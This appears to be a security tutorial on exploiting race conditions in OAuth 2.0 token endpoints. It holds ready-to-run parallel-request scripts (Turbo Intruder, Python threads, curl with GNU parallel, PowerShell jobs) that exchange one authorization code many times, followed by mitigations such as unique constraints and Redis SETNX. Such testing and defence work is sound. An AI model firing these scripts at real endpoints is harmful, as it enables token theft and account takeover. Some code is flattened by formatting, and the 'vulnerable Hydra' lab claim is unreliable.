Listen to this Post
Introduction:
OAuth 2.0’s authorization code flow relies on a critical assumption – each authorization code is single-use. When custom implementations fail to enforce this atomically, attackers can exploit race conditions at the token endpoint, exchanging the same code multiple times via parallel requests to obtain several valid access tokens. This flaw undermines the entire authorization model, potentially leading to account takeover and privilege escalation.
Learning Objectives:
- Understand the OAuth 2.0 authorization code grant flow and why single-use codes are essential.
- Learn how to detect and exploit race conditions using tools like Turbo Intruder and multi‑threaded scripts.
- Implement atomic revocation, idempotency, and database constraints to mitigate this vulnerability.
You Should Know:
- Anatomy of the OAuth Authorization Code Race Condition
In a normal OAuth flow, the client exchanges an authorization code for an access token by sending a POST request to/token. The server verifies the code, marks it as used, and returns a token. If two identical requests arrive simultaneously, a vulnerable server might check the code’s validity before either request marks it as used, resulting in multiple tokens.
Step‑by‑step guide:
- Capture a valid authorization code from a legitimate OAuth login.
- Send two or more concurrent `POST /token` requests with the same `code` parameter.
- Observe the responses: a secure server returns an error for the second request; a vulnerable one returns multiple access tokens.
Example pseudo‑code of a vulnerable endpoint (Python/Flask):
@app.route('/token', methods=['POST'])
def token():
code = request.form['code']
if code in used_codes: Not atomic
return error()
used_codes.add(code) Race window here
return create_token(code)
- Setting Up a Test Environment for OAuth Race Condition Testing
To safely practice, deploy a local OAuth2 server with a deliberately weak code manager.
Linux commands:
Run a vulnerable Hydra instance (Docker) docker run -p 4444:4444 --name oauth_lab oryd/hydra:latest \ serve all --dangerous-force-http Create a client and authorization code via hydra CLI hydra create oauth2-client --id test-client --secret secret \ --grant-type authorization_code --endpoint http://localhost:4444/
Windows (WSL2 or Docker Desktop): same commands. Use `curl` to simulate the token exchange:
curl -X POST http://localhost:4444/oauth2/token \ -d "code=abc123&client_id=test-client&client_secret=secret" & curl -X POST http://localhost:4444/oauth2/token \ -d "code=abc123&client_id=test-client&client_secret=secret" &
- Exploiting the Race Condition with Turbo Intruder (Burp Suite)
Turbo Intruder is a Burp extension that sends high‑speed, parallel HTTP requests.
Step‑by‑step:
1. Install Turbo Intruder from the BApp store.
- Capture a valid token exchange request in Burp and send it to Turbo Intruder.
- Replace the `code` value with a placeholder (
%s). - Use the following Python script to fire 20 concurrent requests with the same authorization code:
def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=20, engine=Engine.THREADED) code = "valid_authorization_code_here" for _ in range(20): engine.queue(target.req, code) engine.start()
- Analyze responses – multiple `200 OK` with distinct `access_token` values indicate a race condition.
-
Manual Multi‑threaded Scripting in Python for OAuth Race Attack
For environments without Burp, a standalone Python script works on both Linux and Windows.
Script: `oauth_race.py`
import requests
import concurrent.futures
URL = "https://target.com/token"
data = {
"grant_type": "authorization_code",
"code": "single_use_code",
"client_id": "victim_client",
"client_secret": "secret",
"redirect_uri": "https://app.com/callback"
}
def exchange(code):
return requests.post(URL, data=data)
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
futures = [executor.submit(exchange, data) for _ in range(15)]
for future in concurrent.futures.as_completed(futures):
print(future.result().status_code, future.result().json().get("access_token"))
Run with python oauth_race.py. Multiple unique tokens confirm the vulnerability.
5. Identifying Vulnerable OAuth Implementations – Auditing Commands
Use `curl` with `parallel` (Linux) or a simple batch loop (Windows) to test live endpoints.
Linux (GNU parallel):
seq 1 20 | parallel -j 10 'curl -s -X POST https://target/token \ -d "code=XYZ" -d "client_id=app" -d "client_secret=secret" \ | jq .access_token'
Windows (PowerShell loop with `Start-Job`):
$code = "XYZ"
1..20 | ForEach-Object {
Start-Job -ScriptBlock {
param($c)
Invoke-RestMethod -Uri "https://target/token" -Method Post -Body @{
code=$c; client_id="app"; client_secret="secret"
} | Select -ExpandProperty access_token
} -ArgumentList $code
} | Receive-Job -Wait
If more than one job returns a token, the endpoint is vulnerable.
- Mitigation Strategies: Atomic Token Issuance and Code Revocation
To prevent race conditions, the check‑and‑use operation must be atomic.
Step‑by‑step fixes:
- Database unique constraint: Add a `UNIQUE` constraint on the `authorization_code` column. The second concurrent insert will fail.
- Redis atomic operations: Use `SETNX` (set if not exists) before issuing a token.
if redis.setnx(f"code:{code}", "used"): return create_token(code) else: return error("Code already used") - Idempotency key: Require clients to send a unique
idempotency_key; store the result for that key. - Short‑lived codes (e.g., 30 seconds) reduce the attack window but do not eliminate it.
- Bind the code to client ID and redirect URI – validate all three before issuing a token.
- Advanced: OAuth 2.0 Security Best Practices Beyond Race Conditions
– PKCE (Proof Key for Code Exchange) – mandatory for public clients; prevents code interception attacks.
– Use a state parameter to tie the authorization request to the token request.
– Monitor for replay anomalies – log and alert when the same code is presented more than once (even if blocked).
– Prefer token binding (OAuth 2.0 Mutual‑TLS Client Authentication) to tie tokens to client certificates.
What Undercode Say:
- Key Takeaway 1: Race conditions in OAuth token endpoints are a real threat, especially in custom implementations that lack atomic code revocation.
- Key Takeaway 2: Simple concurrency testing with tools like Turbo Intruder or a 10‑line Python script can reliably expose this vulnerability during pentests.
- Analysis: The core issue is a classic TOCTOU (time‑of‑check to time‑of‑use) race. Many developers assume database operations are instantaneous, but without row‑level locking or unique constraints, parallel requests slip through. The impact is severe – multiple access tokens mean an attacker can extend session lifetimes, bypass refresh token limits, and potentially escalate from a standard user to admin if the code was obtained with elevated scopes. Organizations relying on OAuth for APIs or SSO must treat the token endpoint as a high‑risk component and enforce strict idempotency. The rise of automated API security scanners will soon include race condition fuzzing by default, making this a low‑hanging fruit in bug bounties.
Prediction:
As OAuth becomes the de facto standard for API authorization (e.g., in fintech, healthcare, and AI agent ecosystems), race condition vulnerabilities will shift from a niche finding to a mainstream attack vector. We predict that within 18 months, major cloud providers will introduce mandatory “atomic token exchange” checks in their managed OAuth services, and CVE databases will see a surge in race‑condition disclosures. Concurrently, AI‑powered fuzzing tools will automate the discovery of such flaws, forcing developers to adopt transactional code revocation as a baseline security requirement. Organisations that neglect to test their OAuth flows with parallel request techniques will face account takeover incidents and regulatory fines.
▶️ Related Video (76% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: 0xacb A – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
